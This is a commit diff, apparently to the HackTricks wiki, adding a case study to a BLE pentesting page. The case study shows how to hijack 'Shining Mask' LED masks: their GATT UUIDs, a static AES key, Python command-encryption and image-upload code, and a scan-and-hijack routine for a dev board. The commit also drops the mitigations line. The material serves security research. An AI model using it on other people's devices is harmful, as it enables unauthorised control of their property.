Skip to content

Commit af7037f

Browse files
author
HackTricks News Bot
committed
Add content from: Invasion of the Face Changers: Halloween Hijinks with Blueto...
1 parent e77a089 commit af7037f

File tree

1 file changed

+96
-3
lines changed

1 file changed

+96
-3
lines changed

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

Lines changed: 96 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,9 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
3535
**GATTool** allows to **establish** a **connection** with another device, listing that device’s **characteristics**, and reading and writing its attributes.\
3636
GATTTool can launch an interactive shell with the `-I` option:
3737

38+
<details>
39+
<summary>GATTTool interactive usage and examples</summary>
40+
3841
```bash
3942
gatttool -i hci0 -I
4043
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@@ -56,6 +59,8 @@ gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read
5659
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
5760
```
5861

62+
</details>
63+
5964
### Bettercap
6065

6166
```bash
@@ -80,6 +85,9 @@ Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NC
8085

8186
Install Sniffle and its Wireshark extcap on Linux:
8287

88+
<details>
89+
<summary>Install Sniffle extcap (Linux)</summary>
90+
8391
```bash
8492
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
8593
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
@@ -99,6 +107,8 @@ else
99107
fi
100108
```
101109

110+
</details>
111+
102112
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
103113

104114
```bash
@@ -145,6 +155,9 @@ Once you’ve identified a writable characteristic handle and value from the sni
145155

146156
- Automate on Windows with a Nordic dongle using Python + blatann:
147157

158+
<details>
159+
<summary>Python blatann write example (Windows + Nordic dongle)</summary>
160+
148161
```python
149162
import time
150163
import blatann
@@ -185,11 +198,87 @@ peer.wait_for_disconnect()
185198
ble_device.close()
186199
```
187200

188-
### Operational notes and mitigations
201+
</details>
202+
203+
### Case study: hijacking BLE LED masks (Shining Mask family)
204+
205+
Cheap, white‑labeled BLE LED masks controlled by the “Shining Mask” app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AES‑ECB encrypted with a static key hard‑coded in the app, while bulk image data is unencrypted.
206+
207+
Key UUIDs on these devices:
208+
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
209+
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
210+
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
211+
212+
Unauthenticated GATT writes
213+
- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
214+
- Common ops observed: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
215+
216+
Static-key AES command framing
217+
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
218+
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
219+
220+
Python helper to encrypt and send a command (example: set max brightness):
221+
222+
```python
223+
from Crypto.Cipher import AES
224+
from binascii import unhexlify
225+
226+
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
227+
228+
def enc_cmd(op, args=b''):
229+
body = bytes([len(op) + len(args)]) + op.encode() + args
230+
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
231+
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
232+
233+
packet = enc_cmd('LIGHT', b'\xff')
234+
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
235+
```
236+
237+
Image upload flow
238+
- After an encrypted DATS handshake, raw chunks are written unencrypted to the data characteristic …960a.
239+
- Packet format: [len][seq][payload]. Empirically ~100 bytes payload per packet works reliably.
240+
241+
<details>
242+
<summary>Minimal image upload pseudo-code</summary>
243+
244+
```python
245+
# Start upload (encrypted): two bytes size, two bytes index, one toggle byte
246+
img_index = b'\x01\x00' # index 1
247+
img_size = (len(img_bytes)).to_bytes(2, 'big')
248+
start = enc_cmd('DATS', img_size + img_index + b'\x01')
249+
write_cmd_char(start) # expect DATSOK on notify char
250+
251+
# Stream raw chunks (unencrypted) to ...960a: [len][seq][payload]
252+
seq = 0
253+
CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq)
254+
for off in range(0, len(img_bytes), CHUNK):
255+
chunk = img_bytes[off:off+CHUNK]
256+
pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk
257+
write_data_char(pkt)
258+
seq += 1
259+
260+
# Optionally signal completion if firmware expects it (e.g., DATCP)
261+
```
262+
263+
</details>
264+
265+
Reversing the app protocol quickly
266+
- Extract the static AES key by decompiling the Android APK (e.g., with JADX). Search for AES, ECB, and the above UUIDs; keys are typically in helper classes.
267+
- Capture Android Bluetooth HCI snoop logs to map commands and UUIDs to user actions. Enable “Bluetooth HCI snoop log” in Developer options, reproduce actions, then pull btsnoop_hci logs and decode with Wireshark to see ATT Write Commands/Notifications.
268+
269+
Hands‑free drive‑by hijacking
270+
- Program a small BLE dev board (e.g., Adafruit Feather nRF52840 running CircuitPython) to:
271+
1) scan for devices exposing the command UUID,
272+
2) connect, send DATS + upload an image to an unused slot,
273+
3) select it with IMAG and set LIGHT/SPEED/PLAY,
274+
4) disconnect and continue scanning.
275+
- The hardware and full CircuitPython reference code are publicly available; see references.
276+
277+
278+
## Operational notes
189279

190280
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
191281
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
192-
- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
193282

194283
## References
195284

@@ -200,5 +289,9 @@ ble_device.close()
200289
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
201290
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
202291
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
292+
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
293+
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
294+
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
295+
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
203296

204-
{{#include ../../banners/hacktricks-training.md}}
297+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)